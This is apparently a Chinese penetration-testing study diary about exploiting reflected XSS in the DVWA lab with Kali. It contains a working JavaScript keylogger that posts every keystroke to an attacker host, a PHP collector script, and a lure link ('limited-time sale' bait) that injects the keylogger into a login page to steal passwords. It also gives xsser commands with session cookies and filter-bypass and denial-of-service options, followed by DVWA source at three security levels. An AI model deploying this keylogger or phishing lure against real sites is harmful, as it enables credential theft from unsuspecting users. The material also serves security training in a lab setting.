小白日记48：kali渗透测试之Web渗透-XSS（二）-漏洞利用-键盘记录器，xsser

XSS

原则上：只要XSS漏洞存在，可以编写任何功能的js脚本

【反射型漏洞利用】

键盘记录器：被记录下的数据会发送到攻击者指定的URL地址上

服务器：kali　　　　客户端

启动apache2服务：service apache2 start

语法：<script src="http://192.168.1.127/keylogger.js"></script>

keylogger.js　　　　

document.onkeypress = function(evt) {
        evt = evt || window.event
        key = String.fromCharCode(evt.charCode)
        if(key) {
                var http = new XMLHttpRequest();
                var param = encodeURI(key)
                http.open("POST","http://192.168.1.127/keylogger.php",true);
                http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
                http.send("key="+param);
        }
}
~   

keylogger.php　　【用来接受客户端提交上来的数据】

<?php
$key=$_POST['key'];
$logfile="keylog.txt";
$fp = fopen($logfile,"a");
fwrite($fp,$key);
fclose($fp);
>

为避免被引起用户怀疑，可将跳转命令置于html文件中

前提：用户已经登录网站，获得其cookie信息

#伪造诱人连接｛如：限时抢购门票、手机等｝，转到存在xss漏洞的页面【主要危害为登录页面】，窃取用户登录账号密码

a.hmlt

<a href="http://192.168.1.107/dvwa/vulnerabilities/xss_r/?name=<scripr+src='http://192.168.56.102/keylogger.js'></script>">诱人字眼</a>

 

XSS利用工具

Xsser　　【专门针对XSS漏洞，使用python编写】

可使用图形化界面　　xsser --gtk　　【不建议使用，界面不够友好】

可绕过服务器端输入筛选　　【xss存在极其普遍】

1、编码　　10进制/16进制

2、函数：unecape()

简单使用语法：xsser -u "http://192.168.56.101/dvwa/vulnerabilities/" -g "xss_r/?name=" --cookie="security=low; PHPSESSID=31677b04bc31eac6cd78dbb1922e8028" -s -v --reverse-check

 

【GET：将对应页面和参数写进-g参数中；POST：使用-P；-s：统计请求数；-v：显示详细信息；--reverse-check：禁止提交hash值方式验证（此方法存在误判）】

--heuristic　　探测服务器，检查被过滤的字符（会发送大量请求）｛脑洞：sql｝　　【所有过滤机制都是基于字符过滤】

 

对payload编码，绕过服务器短筛选过滤　　【过多编码可能造成语义误差】

  *Select Bypasser(s)*:
    These options can be used to encode selected vector(s) to try to
    bypass possible anti-XSS filters on target(s) code and possible IPS
    rules, if the target use it. Also, can be combined with other
    techniques to provide encoding:

    --Str               Use method String.FromCharCode()
    --Une               Use Unescape() function
    --Mix               Mix String.FromCharCode() and Unescape()
    --Dec               Use Decimal encoding
    --Hex               Use Hexadecimal encoding
    --Hes               Use Hexadecimal encoding, with semicolons
    --Dwo               Encode vectors IP addresses in DWORD
    --Doo               Encode vectors IP addresses in Octal
    --Cem=CEM           Try -manually- different Character Encoding Mutations
                        (reverse obfuscation: good) -> (ex: 'Mix,Une,Str,Hex')

 

注入技术

  *Special Technique(s)*:
    These options can be used to try to inject code using different type
    of XSS techniques. You can choose multiple:

    --Coo               COO - Cross Site Scripting Cookie injection
    --Xsa               XSA - Cross Site Agent Scripting
    --Xsr               XSR - Cross Site Referer Scripting
    --Dcp               DCP - Data Control Protocol injections
    --Dom               DOM - Document Object Model injections
    --Ind               IND - HTTP Response Splitting Induced code
    --Anchor            ANC - Use Anchor Stealth payloader (DOM shadows!)
    --Phpids            PHP - Exploit PHPIDS bug (0.6.5) to bypass filters

 

  *Select Final injection(s)*:
    These options can be used to specify the final code to inject in
    vulnerable target(s). Important, if you want to exploit on-the-wild
    your discovered vulnerabilities. Choose only one option:

    --Fp=FINALPAYLOAD   OWN    - Insert your final code to inject -manually-
    --Fr=FINALREMOTE    REMOTE - Insert your final code to inject -remotelly-
    --Doss              DOSs   - XSS Denial of service (server) injection
    --Dos               DOS    - XSS Denial of service (client) injection
    --B64               B64    - Base64 code encoding in META tag (rfc2397)

  *Special Final injection(s)*:
    These options can be used to execute some 'special' injection(s) in
    vulnerable target(s). You can select multiple and combine with your
    final code (except with DCP code):

    --Onm               ONM - Use onMouseMove() event to inject code
    --Ifr               IFR - Use <iframe> source tag to inject code

源码分析

低安全级别　　【$_GET[]:直接回显输入的数据，不做任何过滤】

 <?php

if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

 $isempty = true;

} else {
        
 echo '<pre>';
 echo 'Hello ' . $_GET['name'];
 echo '</pre>';
    
}

?> 

 

中安全级别　　【在输出时替换script为空，可拆分重整script为scriscriptpt】

 <?php

if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

 $isempty = true;

} else {

 echo '<pre>';
 echo 'Hello ' . str_replace('<script>', '', $_GET['name']);
 echo '</pre>'; 

}

?> 

高安全级别【htmlspecialchars():进行html编码，目前最有效的方法（并非完全不可绕过【不需要尖括号的情况：如<a href=>】）】｛可用burpsuite进行编码｝

 <?php
    
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
    
 $isempty = true;
        
} else {
    
 echo '<pre>';
 echo 'Hello ' . htmlspecialchars($_GET['name']);
 echo '</pre>';
        
}

?>